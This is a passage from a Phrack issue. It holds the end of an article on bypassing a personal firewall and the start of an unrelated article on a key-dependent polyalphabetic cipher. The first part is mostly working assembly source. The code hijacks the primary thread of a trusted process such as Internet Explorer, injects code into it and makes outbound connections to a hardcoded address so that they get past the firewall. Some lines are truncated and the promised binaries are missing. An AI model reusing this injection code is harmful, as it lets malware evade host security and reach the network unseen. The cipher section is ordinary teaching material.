        LPROC   ws32base,sSend,pSend
        LPROC   ws32base,sRecv,pRecv
        LPROC   ws32base,sClose,pClose

        PSHS   wsa                   ; see our artificial data segment
        PUSH   2                     ; Version 2 is fine
        CALL   pWSAStartup           ; Do the WSAStartup()
        CMP    EAX, 0

        PUSH   0
        PUSH   SOCK_STREAM           ; A normal stream oriented socket
        PUSH   AF_INET               ; for Internet connections.
        CALL   pSocket               ; Create it.
        JE     INJECT_ERROR
        MOV    EBX,EAX

        PUSH   SIZEOF sockaddr       ; Connect to
        PSHS   sAddr                 ; hardcoded structure
        PUSH   EBX                   ; that's our socket descriptor
        CALL   pConnect              ; connect() to
        JE     INJECT_ERROR

        PUSH   0                     ; no flags
        PUSH   028H                  ; 40 bytes to send
        PSHS   sRequ                 ; the GET string
        PUSH   EBX                   ; socket descriptor
        CALL   pSend                 ; send() HTTP request
        JE     INJECT_ERROR

        ; We now have to receive the server's reply. We only
        ; want the HTTP header to display it in a message box
        ; as an indicator for a successful bypass. 

        MOV    ECX, 0                ; number of bytes received

PP:     MOV    EDX, iBase 
        ADD    EDX, OFFSET sRepl-inject

        ADD    EDX, ECX              ; EDX is the current position inside
                                     ; the string buffer
        PUSH   EDX
        PUSH   ECX

        PUSH   0                     ; no flags
        PUSH   1                     ; one byte to receive
        PUSH   EDX                   ; string buffer
        PUSH   EBX                   ; socket descriptor
        CALL   pRecv                 ; recv() the byte      

        POP    ECX
        POP    EDX

        CMP    AL, 1                 ; one byte received ?
        JNE    PPE                   ; an error occured
        CMP    ECX,2                 ; check if we already received
        JS     PP2                   ; more than 2 bytes

        MOV    AL, [EDX]             ; this is the byte we got
        CMP    AL, [EDX-2]           ; we are looking for <CRLF><CRLF>
        JNE    PP2
        CMP    AL, 10                ; we found it, most probably.
        JE     PPE                   ; we only want the headers.
PP2:    INC    ECX
        CMP    ECX,600               ; 600 byte maximum buffer size
        JNE    PP

PPE:    PUSH   EBX                   ; socket descriptor
        CALL   pClose                ; close the socket

        PUSH   64                    ; neat info icon and an ok button
        PSHS   sCap                  ; the caption string
        PSHS   sRepl                 ;'s HTTP header
        PUSH   0                     
        CALL   pMessageBox           ; display the message box.

        JMP    INJECT_SUCCESS        ; we were successful.

        MOV    EAX, 1                ; return values are passed in EAX
        MOV    EAX, 0                ; boolean return value (success)

        PUSH   EAX                   ; save our return value
        CMP    pWSACleanup,0
        JE     INJECT_DONE
        CALL   pWSACleanup           ; perform cleanup
        CMP    ws32base, 0           ; check if we have loaded ws2_32
        JE     INJECT_DONE
        PUSH   ws32base
        CALL   pFreeLibrary          ; release ws2_32.dll

        POP    EAX                   ; retore the return value  
        RET                          ; and return

inject  ENDP

inject_end: END Main

-[0x0C] :: tiny.exe source code ------------------------------------------

This is the ASM source code for the second bypass program.

.MODEL flat, stdcall


  bypass    PROTO                     ; Tiny Firewall Bypass
  inject    PROTO, iBase:DWORD        ; injected function
  getsvc    PROTO, pProcessInfo:DWORD ; finds running, trusted process
  getdbg    PROTO                     ; enables the SE_DEBUG privilege

;       The PSHS macro is used to push the address of some
;       structure onto the stack inside the remote process'
;       address space. iBase contains the address where the
;       injected code starts. 

        MOV    EDX, iBase
        ADD    EDX, OFFSET BUFFER - inject
        PUSH   EDX
;       The LPROC macro assumes that pGetProcAddress holds
;       the address of the GetProcAddress() API call and
;       simulates its behaviour. PROCNAME is a string inside
;       the injected code that holds the function name and
;       PROCADDR is a DWORD variable inside the injected
;       code that will retrieve the address of that function.
;       BASEDLL, as the name suggests, should hold the 
;       base address of the appropriate DLL.
        PUSH   BASEDLL
        CALL   pGetProcAddress
        MOV    PROCADDR, EAX

EJUMP   MACRO  TARGET_CODE ; jump when EAX is 0.
        CMP    EAX, 0
        JE     TARGET_CODE

        ; This is the name of a trusted process to search for.
        ; If you know what you are doing, you can play with
        ; if and see whether other applications work with the
        ; current code (aka hijack primary thread). 
        ; "OUTLOOK.EXE" works as well btw.
        TRUSTED      DB  "IEXPLORE.EXE",0
        SE_DEBUG     DB  "SeDebugPrivilege",0  ; debug privilege
        IEV_NAME     DB  "TINY0",0             ; our event name
        IEV_HANDLE   DD  ?                     ; event handle        
        FUNCSZE      EQU iend-istart           ; inject's size
        CODESZE      EQU 19                    ; size of our "shellcode"
        ALLSZE       EQU FUNCSZE + CODESZE     ; complete size
        FUNCADDR     EQU istart                ; offset of inject        
        ; JUMPDIFF is the number of bytes from the beginning of
        ; the shellcode to the jump instruction. It is required
        ; to calculate the value of JUMP_ADDR, see below.
        JUMPDIFF       EQU 14

        ; This "shellcode" will be injected to the trusted
        ; process directly in fron of the injector procedure
        ; itself. It will simply call the injector function
        ; with its base address as the first argument and
        ; jump back to the address where we hijacked the 
        ; thread afterwards. The addresses of our injected
        ; function (PUSH_ADDR) and the original EIP of the
        ; hijacked thread (JUMP_ADDR) will be calculated 
        ; at runtime, of course.
         PUSH_CODE   DB 068H ; PUSH <function address>
         PUSH_ADDR   DD ?
         CALL_CODE   DB 0E8H ; CALL <function address>
         CALL_ADDR   DD 07H
         POPFD_CODE  DB 09DH ; POPFD
         POPAD_CODE  DB 061H ; POPAD
         JUMP_CODE   DB 0E9H ; JUMP <original EIP>
         JUMP_ADDR   DD ?
                             ; <injector function>
                             ; ...        

Main: ; not much to do except calling
      ; the bypass function in this sample.
        INVOKE  bypass
        INVOKE  ExitProcess, 0

getdbg  PROC  ; enables the SE_DEBUG privilege for ourself
        LOCAL   token:HANDLE
        LOCAL   luid:LUID
        INVOKE  LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
        EJUMP   DBE0
        MOV     priv.PrivilegeCount, 01H
        MOV     priv.Privileges.Attributes, 02H
        MOV     EAX,luid.LowPart
        MOV     priv.Privileges.Luid.LowPart,EAX
        MOV     EAX,luid.HighPart
        MOV     priv.Privileges.Luid.HighPart,EAX
        INVOKE  GetCurrentProcess
        MOV     ECX,EAX
        INVOKE  OpenProcessToken,ECX,020H, ADDR token
        MOV     ECX, token
        CMP     ECX, 0
        JE      DBE0
        INVOKE  AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
        MOV     ECX,EAX
        INVOKE  CloseHandle, token
        MOV     EAX,ECX
getdbg  ENDP

getsvc  PROC,   pProcessInfo:DWORD

        ; This function fills a PROCESS_INFORMATION
        ; structure with the ID and handle of the
        ; required trusted process and its primary
        ; thread. The tool helper API is used to
        ; retrieve this information.

        LOCAL   p32:PROCESSENTRY32
        LOCAL   t32:THREADENTRY32
        LOCAL   hShot:DWORD
        MOV     p32.dwSize, SIZEOF PROCESSENTRY32
        MOV     t32.dwSize, SIZEOF THREADENTRY32
        INVOKE  getdbg ; we need SE_DEBUG first
        ; Create a snapshot of all processes and
        ; threads. 06H is the appropriate bitmask
        ; for this purpose, look it up if you 
        ; dont trust me.
        INVOKE  CreateToolhelp32Snapshot,06H,0
        MOV     hShot,EAX
        ; Start to search for the trusted process.
        ; We will compare the name of the process'
        ; primary module with the string buffer
        ; TRUSTED until we find a match.
        INVOKE  Process32First, hShot, ADDR p32
        CMP     EAX, 0
        JE      GSE1

GSL:    LEA     EDX, p32.szExeFile
        INVOKE  lstrcmpi, EDX, OFFSET TRUSTED
        CMP     EAX, 0 ; lstrcmpi is not case sensitive!
        JE      GSL1   ; good, we found the process
        INVOKE  Process32Next, hShot, ADDR p32
        CMP     EAX, 0 ; no more processes,
        JE      GSE1   ; no success
        JMP     GSL    ; otherwise, continue loop
        ; We have found an instance of the trusted
        ; process, continue to retrieve information
        ; about its primary thread and gain an open
        ; handle to both the process itself and the
        ; thread. To find the thread, we have to
        ; loop through all thread entries in our 
        ; snapshot until we discover a thread that
        ; has been created by the process we found.
GSL1:   INVOKE  Thread32First, hShot, ADDR t32
        MOV     EBX, 0

TSL:    MOV     EDX, t32.th32OwnerProcessID
        CMP     EDX, p32.th32ProcessID
        JE      TSL0
        INVOKE  Thread32Next, hShot, ADDR t32
        CMP     EAX, 0 ; no more threads (weird),
        JE      GSE1   ; no success 
        JMP     TSL    ; otherwise, continue loop
        ; Now, since we have got the ID's of both
        ; the process itself and the primary thread,
        ; use OpenProcess() and OpenThread() to 
        ; get a handle to both of them. You are right,
        ; OpenThread is NOT a documented call, but
        ; it looks like that was rather an accident.
        ; It is exported by kernel32.dll just like
        ; OpenProcess().
TSL0:   MOV     EDX, pProcessInfo     ; the structure address

        MOV     EAX,p32.th32ProcessID ; copy the process ID
        MOV     [EDX+08H], EAX
        MOV     EAX, t32.th32ThreadID ; copy the thread ID
        MOV     [EDX+0CH], EAX
        PUSH    EDX                   ; safe the address
        INVOKE  OpenProcess, PROCESS_ALL_ACCESS, \
                0, p32.th32ProcessID
        CMP     EAX, 0
        JE      GSE1
        MOV     EBX, EAX
        INVOKE  OpenThread, THREAD_ALL_ACCESS, 0, \
        CMP     EAX, 0
        JE      GSE1
        POP     EDX                   ; restore the address
        MOV     [EDX], EBX            ; copy the process handle
        MOV     [EDX+04H], EAX        ; copy the thread handle
        PUSH    1                     ; success
        JMP     GSE0                   
GSE1:   PUSH    0                     ; failure

GSE0:   CMP     hShot, 0
        JE      GSE
        INVOKE  CloseHandle, hShot    ; cleanup

GSE:    POP     EAX                   ; pop the return value to EAX
        RET                           ; that's it.
getsvc  ENDP 



inject  PROC, iBase:DWORD

        LOCAL k32base          :DWORD
        LOCAL expbase          :DWORD
        LOCAL forwards         :DWORD
        LOCAL pGetProcAddress  :DWORD
        LOCAL pGetModuleHandle :DWORD
        LOCAL pLoadLibrary     :DWORD
        LOCAL pFreeLibrary     :DWORD
        LOCAL pOpenEvent       :DWORD
        LOCAL pCloseHandle     :DWORD
        LOCAL pSetEvent        :DWORD
        LOCAL pMessageBox      :DWORD
        LOCAL u32base          :DWORD
        LOCAL ws32base         :DWORD
        LOCAL pWSAStartup      :DWORD
        LOCAL pWSACleanup      :DWORD
        LOCAL pSocket          :DWORD
        LOCAL pConnect         :DWORD
        LOCAL pSend            :DWORD
        LOCAL pRecv            :DWORD
        LOCAL pClose           :DWORD
        JMP IG

        sGetModuleHandle DB "GetModuleHandleA" ,0
        sLoadLibrary     DB "LoadLibraryA"     ,0
        sFreeLibrary     DB "FreeLibrary"      ,0
        sOpenEvent       DB "OpenEventA"       ,0
        sCloseHandle     DB "CloseHandle"      ,0
        sSetEvent        DB "SetEvent"         ,0
        sFWPEVENT        DB "TINY0"            ,0
        sUser32          DB "USER32.DLL"       ,0
        sMessageBox      DB "MessageBoxA"      ,0
        sGLA             DB "GetLastError"     ,0
        sWLA             DB "WSAGetLastError"  ,0
        sWS2_32          DB "ws2_32.dll"       ,0
        sWSAStartup      DB "WSAStartup"       ,0
        sWSACleanup      DB "WSACleanup"       ,0
        sSocket          DB "socket"           ,0
        sConnect         DB "connect"          ,0
        sSend            DB "send"             ,0
        sRecv            DB "recv"             ,0
        sClose           DB "closesocket"      ,0

        wsa LABEL BYTE
         wVersion        DW 0
         wHighVersion    DW 0
         szDescription   DB WSADESCRIPTION_LEN+1 DUP(0)
         szSystemStatus  DB WSASYS_STATUS_LEN+1 DUP(0)
         iMaxSockets     DW 0
         iMaxUdpDg       DW 0
         lpVendorInfo    DD 0
        sAddr LABEL BYTE
         sin_family      DW AF_INET
         sin_port        DW 05000H
         sin_addr        DD 006EE3745H
         sin_zero        DQ 0

        sStartC          DB "SetUp Complete",0
        sStart           DB "Injector SetUp complete. ", \
                            "Sending request:",13,10,13,10
        sRequ            DB "GET / HTTP/1.0",13,10, \
        sCap             DB "Injection successful",0
        sRepl            DB 601 DUP(0)

IG:     ASSUME  FS:NOTHING           ; This is a MASM error bypass.      

        MOV     EAX, FS:[030H]       ; Get the Process Environment Block
        TEST    EAX, EAX             ; Check for Win9X
        JS      W9X

WNT:    MOV     EAX, [EAX+00CH]      ; WinNT: get PROCESS_MODULE_INFO
        MOV     ESI, [EAX+01CH]      ; Get fLink from ordered module list
        LODSD                        ; Load the address of bLink into eax
        MOV     EAX, [EAX+008H]      ; Copy the module base from the list
        JMP     K32                  ; Work done

W9X:    MOV     EAX, [EAX+034H]      ; Undocumented offset (0x34)
        LEA     EAX, [EAX+07CH]      ; ...
        MOV     EAX, [EAX+03CH]      ; ...
K32:    MOV     k32base,EAX          ; Keep a copy of the base address
        MOV     pGetProcAddress, 0   ; now search for GetProcAddress
        MOV     forwards,0           ; Set the forwards to 0 initially
        MOV     pWSACleanup, 0       ; we will need these for error -
        MOV     ws32base, 0          ; checks lateron
        MOV     pOpenEvent, 0

        ADD     EAX,[EAX+03CH]       ; pointer to IMAGE_NT_HEADERS
        MOV     EAX,[EAX+078H]       ; RVA of exports directory
        ADD     EAX,k32base          ; since RVA: add the base address
        MOV     expbase,EAX          ; IMAGE_EXPORTS_DIRECTORY
        MOV     EAX,[EAX+020H]       ; RVA of the AddressOfNames array
        ADD     EAX,k32base          ; add the base address
        MOV     ECX,[EAX]            ; ECX: RVA of the first string
        ADD     ECX,k32base          ; add the base address
        MOV     EAX,0                ; EAX will serve as a counter
        JMP     M2                   ; start looping

M1:     INC     EAX                  ; Increase EAX every loop
M2:     MOV     EBX, 0               ; EBX will be the calculated hash

        SHL     EBX, 05H
        SHR     EDX, 01BH
        OR      EBX, EDX
        MOV     EDX, 0
        MOV      DL, [ECX]           ; Copy current character to DL
        ADD     EBX, EDX             ; and add DL to the hash value
        INC     ECX                  ; increase the string pointer
        MOV      DL, [ECX]           ; next character in DL, now:
        CMP     EDX, 0               ; check for null character
        JNE     HASH

        ; This is where we take care of the forwarders.
        ; we will always subtract the number of forwarders
        ; that already occured from our iterator (EAX) to
        ; retrieve the appropriate offset from the second
        ; array. 

        PUSH    EAX                  ; Safe EAX to the stack
        SUB     EAX,forwards         ; Subtract forwards
        IMUL    EAX,4                ; addresses are DWORD's
        INC     ECX                  ; Move the ECX pointer to the
                                     ; beginning of the next name

        MOV     EDX, expbase         ; Load exports directory
        MOV     EDX, [EDX+01CH]      ; EDX: array of entry points
        ADD     EDX, k32base         ; add the base address
        MOV     EDX, [EDX+EAX]       ; Lookup the Function RVA
        ADD     EDX, k32base         ; add the base address
        MOV     pGetProcAddress, EDX ; This will be correct once
                                     ; the loop is finished.

        ; Second stage of our forwarder check: If the 
        ; "entry point" of this function points to the
        ; next string in array #1, we just found a forwarder.
        CMP     EDX, ECX             ; forwarder check
        JNE     FWD                  ; ignore normal entry points
        INC     forwards             ; This was a forwarder

FWD:    POP     EAX                  ; Restore EAX iterator
        CMP     EBX, 099C95590H      ; hash value for "GetProcAddress"
        JNE     M1

        ; We have everything we wanted. I use a simple macro
        ; to load the functions by applying pGetProcAddress.

        LPROC   k32base, sGetModuleHandle, pGetModuleHandle
        LPROC   k32base, sLoadLibrary, pLoadLibrary
        LPROC   k32base, sFreeLibrary, pFreeLibrary
        LPROC   k32base, sOpenEvent, pOpenEvent
        LPROC   k32base, sCloseHandle, pCloseHandle
        LPROC   k32base, sSetEvent, pSetEvent

        PSHS    sUser32              ; we need user32.dll
        CALL    pGetModuleHandle     ; assume it is already loaded
        EJUMP   INJECT_ERROR         ; (we could use LoadLibrary)
        MOV     u32base,EAX          ; got it

        PSHS    sWS2_32              ; most important: winsock DLL
        CALL    pLoadLibrary         ; LoadLibrary("ws2_32.dll");
        MOV     ws32base, EAX

        LPROC   u32base,sMessageBox,pMessageBox
        LPROC   ws32base,sWSAStartup,pWSAStartup
        LPROC   ws32base,sWSACleanup,pWSACleanup
        LPROC   ws32base,sSocket,pSocket
        LPROC   ws32base,sConnect,pConnect
        LPROC   ws32base,sSend,pSend
        LPROC   ws32base,sRecv,pRecv
        LPROC   ws32base,sClose,pClose

        PSHS    wsa                  ; see our artificial data segment
        PUSH    2                    ; Version 2 is fine
        CALL    pWSAStartup          ; Do the WSAStartup()
        CMP     EAX, 0
        JNE     INJECT_ERROR

        PUSH    0
        PUSH    SOCK_STREAM          ; A normal stream oriented socket
        PUSH    AF_INET              ; for Internet connections.
        CALL    pSocket              ; Create it.
        JE      INJECT_ERROR
        MOV     EBX,EAX

        PUSH    SIZEOF sockaddr      ; Connect to
        PSHS    sAddr                ; hardcoded structure
        PUSH    EBX                  ; that's our socket descriptor
        CALL    pConnect             ; connect() to
        JE      INJECT_ERROR

        PUSH    0                    ; no flags
        PUSH    028H                 ; 40 bytes to send
        PSHS    sRequ                ; the GET string
        PUSH    EBX                  ; socket descriptor
        CALL    pSend                ; send() HTTP request
        JE      INJECT_ERROR

        ; We now have to receive the server's reply. We only
        ; want the HTTP header to display it in a message box
        ; as an indicator for a successful bypass. 

        MOV     ECX, 0               ; number of bytes received

PP:     MOV     EDX, iBase 
        ADD     EDX, OFFSET sRepl-inject

        ADD     EDX, ECX             ; EDX is the current position inside
                                     ; the string buffer
        PUSH    EDX
        PUSH    ECX

        PUSH    0                    ; no flags
        PUSH    1                    ; one byte to receive
        PUSH    EDX                  ; string buffer
        PUSH    EBX                  ; socket descriptor
        CALL    pRecv                ; recv() the byte      

        POP     ECX
        POP     EDX

        CMP     AL, 1                ; one byte received ?
        JNE     PPE                  ; an error occured
        CMP     ECX,2                ; check if we already received
        JS      PP2                  ; more than 2 bytes

        MOV     AL, [EDX]            ; this is the byte we got
        CMP     AL, [EDX-2]          ; we are looking for <CRLF><CRLF>
        JNE     PP2
        CMP     AL, 10               ; we found it, most probably.
        JE      PPE                  ; we only want the headers.
PP2:    INC     ECX
        CMP     ECX,600              ; 600 byte maximum buffer size
        JNE     PP

PPE:    PUSH    EBX                  ; socket descriptor
        CALL    pClose               ; close the socket

        PUSH    64                   ; neat info icon and an ok button
        PSHS    sCap                 ; the caption string
        PSHS    sRepl                ;'s HTTP header
        PUSH    0                     
        CALL    pMessageBox          ; display the message box.

        JMP     INJECT_SUCCESS       ; we were successful.

        PUSH    1                    ; return success
        PUSH    0                    ; return failure


        PUSH    EAX                  ; save our return value
        CMP     pWSACleanup,0
        JE      INJECT_DONE
        CALL    pWSACleanup          ; perform cleanup
        CMP     ws32base, 0          ; check if we have loaded ws2_32
        JE      INJECT_DONE
        PUSH    ws32base
        CALL    pFreeLibrary         ; release ws2_32.dll
        ; the following code is the only real difference
        ; to the code in sample #1. It is used to signal
        ; an event with the name "TINY0" so that the 
        ; injector executable knows when this code has
        ; done its job.

        CMP     pOpenEvent, 0        
        JE      INJECT_DONE
        PSHS    sFWPEVENT            ; "TINY0"
        PUSH    0                    ; not inheritable
        PUSH    EVENT_ALL_ACCESS     ; whatever
        CALL    pOpenEvent           ; open the event
        CMP     EAX, 0
        JE      INJECT_DONE
        MOV     EBX, EAX
        PUSH    EBX
        CALL    pSetEvent            ; signal the event
        PUSH    EBX
        CALL    pCloseHandle         ; close the handle


        POP     EAX
        RET                          ; and return

inject  ENDP

bypass  PROC

        LOCAL   pinf             :PROCESS_INFORMATION
        LOCAL   mct              :CONTEXT
        LOCAL   dwReturn         :DWORD ; return value
        LOCAL   dwRemoteThreadID :DWORD ; remote thread ID
        LOCAL   pbRemoteMemory   :DWORD ; remote base address 

        MOV     pinf.hProcess, 0
        MOV     pinf.hThread, 0
        ; First of all, creat the even that we need to get
        ; informed about the progress of our injected code.
        INVOKE  CreateEvent, 0, 1, 0, OFFSET IEV_NAME
        EJUMP   BPE5
        MOV     IEV_HANDLE, EAX
        ; Find a suitable, trusted process that we can use
        ; to hijack its primary thread. We will then pause
        ; that primary thread and make sure that its suspend
        ; count is exactly 1. It might seem a bit too careful,
        ; but if the primary thread is already suspended at 
        ; the moment of infection, we have a problem. Thus,
        ; we will rather make sure with some more commands 
        ; that the thread can be resumed with a single call
        ; to ResumeThread().
        INVOKE  getsvc, ADDR pinf
        EJUMP   BPE5
        INVOKE  SuspendThread, pinf.hThread
        CMP     EAX, 0FFFFFFFFH
        JE      BPE3
        CMP     EAX, 0
        JE      SPOK
SPL:    INVOKE  ResumeThread, pinf.hThread
        CMP     EAX, 1
        JNE     SPL        
        ; Here we go, the thread is paused and ready to be
        ; hijacked. First, we get the EIP register along with
        ; some others that do not interest us.
SPOK:   MOV     mct.ContextFlags, CONTEXT_CONTROL    
        INVOKE  GetThreadContext, pinf.hThread, ADDR mct 
        EJUMP   BPE2
        ; Now, allocate memory in the remote process' address
        ; space for the shellcode and the injected function
        INVOKE  VirtualAllocEx,pinf.hProcess,0,ALLSZE, \
        EJUMP   BPE2       
        MOV     pbRemoteMemory,EAX

        MOV     EBX, EAX         ; EBX: remote base address
        ADD     EAX, CODESZE     ; this is the future address
        MOV     PUSH_ADDR, EAX   ; of the inject function
        MOV     EAX, mct.regEip  ; this is the current EIP
        MOV     EDX, EBX         ; EDX: remote base address
        ADD     EDX, JUMPDIFF    ; EDX: absolute address of JMP call
        ; Now we calculate the distance between the JMP call and
        ; the current EIP. The JMP CPU instruction is followed by
        ; a double word that contains the relative number of bytes
        ; to jump away from the current position. This is a signed
        ; long value which is basically added to the EIP register.
        ; To calculate the appropriate value, we need to subtract
        ; the position of the JMP call from the offset we want to
        ; jump to and subtract another 5 byte since the JMP
        ; instruction itself has that length.
        SUB     EAX, EDX
        SUB     EAX, 05H
        MOV     JUMP_ADDR, EAX  
        ; Our shellcode is now complete, we will write it along
        ; with the inject function itself to the remote process.

        INVOKE  WriteProcessMemory,pinf.hProcess,EBX, \
        EJUMP   BPE1
        ADD     EBX, CODESZE
        INVOKE  WriteProcessMemory,pinf.hProcess,EBX, \
        EJUMP   BPE1

        ; Done. Now hijack the primary thread by resetting its
        ; instruction pointer to continue the flow of execution
        ; at the offset of our own, injected code

        MOV     EDX, pbRemoteMemory
        MOV     mct.regEip, EDX
        INVOKE  SetThreadContext, pinf.hThread, ADDR mct
        EJUMP   BPE1
        ; And let the thread continue ...
        INVOKE  ResumeThread, pinf.hThread
        CMP     EAX, 0FFFFFFFFH
        JE      BPE1

        ; Now this is where we are making use of the event we
        ; created. We will wait until the injected code signals
        ; the event (at a reasonable timeout) and sleep for
        ; another second to make sure our code has done its 
        ; job completely before we start with the cleanup.

        INVOKE  WaitForSingleObject, IEV_HANDLE, 60000
        CMP     EAX, 0
        JE      BPOK

        ; However, if something goes wrong it is better
        ; to terminate the thread as silently as possible.
        INVOKE  TerminateThread, pinf.hThread, 1
BPOK:   INVOKE  Sleep, 1000
BPE1:   INVOKE  VirtualFreeEx,pinf.hProcess, \
BPE2:   INVOKE  ResumeThread, pinf.hThread
BPE3:   CMP     pinf.hThread, 0
        JE      BPE4
        INVOKE  CloseHandle,pinf.hThread
BPE4:   CMP     pinf.hProcess, 0
        JE      BPE5
        INVOKE  CloseHandle,pinf.hProcess

bypass  ENDP

END Main

-[0x0D] :: binaries (base64) ---------------------------------------------

These are the binary version of the two sample applications for
everyone who is unable to get the Assembler I used. Actually, the
files below are python scripts that will decode the base64 -
encoded versions of the executables and create the respective
binary file in its current directory. If you do not use python,
you will have to find another way to decode them properly.

############################# #############################

from base64 import decodestring

############################### ###############################

from base64 import decodestring

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x0e of 0x10

|=---------=[ A Dynamic Polyalphabetic Substitution Cipher ]=------------=|
|=----------------=[ Veins <veins at> ]=--------------------=|

1 - Introduction
  1.1 - First of all, a reminder. What is polyalphabetic substitution ?
  1.2 - Weaknesses in polyalphabetic substitution

  2.1 - DPA-128 used as a one way hash function
  2.2 - DPA-128 used as PRNG

3 - Acknowledgment

4 - References

5 - Source Code

--[ 1 - Introduction

   In Phrack #51, mythrandir discussed the cryptanalysis of monoalphabetic
ciphers and basic substitutions and transpositions. This paper discusses a
different substitution known as 'polyalphabetic substitution' and how some
mechanisms can be implanted to take advantage of its characteristics. This
document will then focus on 'dynamic polyalphabetic substitution' which is
an evolution of polyalphabetic substitution with key-dependant s-tables.

A "functional-but-still-work-in-progress" cipher will be presented.  It is
a 128-bits secret-key block cipher that uses polyalphabetic s-tables which
are highly dependant of the key. The cipher, DPA-128, consists in a simple
function that makes 3 operations on the block. It is not a Feistel network
but still respects Shannon's principles of diffusion and confusion. It has
only been reviewed by a few people, so I strongly discourage its use as it
has not proven anything yet. However, if you use it and have any comments,
I'd be glad to hear from you, but remember, do not encrypt sensitive stuff
cause someone will probably come, break the cipher and go spreading all of
your secrets on IRC ;)

Finally, just to clarify a few things. I use the acronym DPA (for "dynamic
polyalphabetic algorithms") in this document to refer to key dependancy in
polyalphabetic substitution. I've seen people using the term "dynamic" for
ciphers that used polyalphabetic substitution in a mode that uses a pseudo
random vector (CBC for example). While I'll keep using the acronym, assume
that key-dependant substitution works in total abstraction of the mode and
DPA-128 has an implementation of both ECB and CBC modes as I'm writing.
Also, while I have not seen a dynamic polyalphabetic cipher implementation
it does not mean that all of the ideas in this paper are new. DES had some
variants that performed key-dependant substitutions by exchanging lines of
s-tables, and several ciphers use one-way hash functions for subkeys.

----[ 1.1 - First of all, a reminder. What is polyalphabetic substitution ?

Polyalphabetic substitution is an hybrid between transposition and

Transposition consists in reordering the characters in the plaintext to
produce the cipher:

Assume my secret message is:

After transposing it in a 8 columns table, it becomes:
	  T H I S I S M Y
          S E C R E T M E
          S S A G E D O N
          T R E A D I T A
          R A M S U C K S

The cipher is produced by reading the columns instead of the lines:

While substitution consists in interchanging the characters in the
plaintext to produce the cipher:

Assume my secret message is:

Substitution alphabet is a simple rearrangement:
	     A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
	     Y Z W X U V S T Q R O P K L M N I J G H E F C D A B

The cipher is produced by replacing the letter in plaintext by the new
letter in the rearranged alphabet:

Note that both these methods do not even require a key, the parties that
wish to share the secret, have to share the "protocol" which is the
number of columns for the transposition, or the rearranged alphabet for
the substitution. In practice, there are methods to use keys with both
substitution and transposition but in the end, both are insecure with or
without a key. I won't go through the description of how you can break
these, the methods were described in phrack #51 if I recall correctly
and they are so simple that some tv magazines use these on their game

Now let's get back to polyalphabetic substitution.
A transposed substitution table looks like this more or less:

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
    B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
    C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
    D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
    E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
    F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
    G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
    H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
    I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
    J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
    K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
    L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
    M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
    N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
    O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
    P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
    Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
    R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
    S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
    T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
    U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
    V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
    W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
    X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
    Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
    Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

This is known as the "Vigenere Table", because it was invented by Blaise
Vigenere (a French mathematician, if you care). Unlike transposition and
substitution, a key is required.

Assume my secret key is:

Assume my secret message is:

The ciphertext is the intersection of each character of the secret key with
each character of the secret message. Key characters are seeked on the very
first line, and message characters are seeked on the very first column.
Since the key is shorter than the message, it is padded with itself so that
it becomes:

If it was longer, then either the message would be padded with random crap
or the key would be truncated (this is more common).

The cipher is obtained by replacing a letter in the message by the
intersection of current message character and current key character in the
table. The secret message becomes:

As you may notice, even though a character may appear two or more times in
the plaintext, it is not encrypted the same way in the ciphertext depending
on which character from the key is used for the substitution. This is what
"polyalphabetic" means in "polyalphabetic substitution". It was known for a
while as the "unbreakable cipher" and a variant was used successfuly during
Second World War by the Resistance against the Germans.

While this sounds stronger than transposition and substitution, it is still
very weak and unless a RNG is used to generate a key that is as long as the
data to encrypt (one-time pad), it is possible to recover the key size, the
key itself and/or the message with enough data to analyze. The methods used
to break this kind of cipher is out of the scope of this paper but a search
on google will give you enough hints ;)

Polyalphabetic tables have three interesting properties:
    a) f(a, b) == c
       f(a, b) == f(b, a)
       but... f(a, c) != b
       and assuming c = f(a, b), then there is a f1 such as f1(a, c) == b

    b) using the ASCII layout, there are 256^2 combinations which will
       produce 256 possible results (including the original character).

    c) if we assume that the key is truly random AND has the same size
       as the message to encrypt, then all results are equiprobable.

and equiprobability means that:
  - if you only take one character in the ciphertext, then you have as
    many chances for it to be any cleartext character. They all appear
    the exact same number of times in the table and are the result of
    as many combinations each.

  - there is no "useless" substitution. If substitution of character 'A'
    results in character 'A', then it is not considered as a useless
    substitution as it had as many chances to be out than any other.

----[ 1.2 - Weaknesses in polyalphabetic substitution

        As I previously said, the above cipher is weak. The weaknesses are
numerous and mostly related to the cipher leaking informations about the
cleartext, the key and/or the substitution table. If one can encrypt data
using the same key, he can determine the size of the key with one message
and determine the structure of the substitution table with another, giving
him all the necessary information to understand the ciphertext and any
other ciphertext encrypted using the same key. But don't get this wrong,
he doesn't HAVE to be able to encrypt data, this is just a convenience ;)
The fact that the key is concatenated to itself does not make a change,
and actually an implementation on computer would work on data using a
modulo on the size of the key to save memory.

The reasons why it is so easy are described here:
        - if one chooses a key A and a key B such as they only differ by
          one bit, then the ciphertext will only differ by one byte.

        - if one chooses a message A and a message B such as they also
